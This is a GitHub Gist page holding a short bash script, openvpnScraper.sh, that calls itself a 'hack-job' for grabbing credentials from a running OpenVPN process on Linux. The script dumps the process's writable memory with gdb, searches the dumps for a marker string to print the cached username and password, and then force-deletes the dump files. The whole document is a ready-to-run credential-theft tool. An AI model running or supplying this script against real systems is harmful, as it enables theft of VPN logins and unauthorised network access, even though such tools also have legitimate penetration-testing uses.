Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

@bahamat
Forked from rvrsh3ll/openvpnScraper.sh
Created October 17, 2015 22:19
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save bahamat/ff46f9ba484fddb0658c to your computer and use it in GitHub Desktop.
Save bahamat/ff46f9ba484fddb0658c to your computer and use it in GitHub Desktop.
#!/bin/bash
# This little hack-job will grab credentials from a running openvpn process in Linux
# Keep in mind this won't work if the user used the --auth-nocache flag
grep rw-p /proc/$1/maps | sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' | while read start stop; do gdb --batch-silent --silent --pid $1 -ex "dump memory $1-$start-$stop.dump 0x$start 0x$stop"; done
echo "Your credentials should be listed below as username/password"
strings *.dump | grep -B2 KnOQ | grep -v KnOQ
rm *.dump --force
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment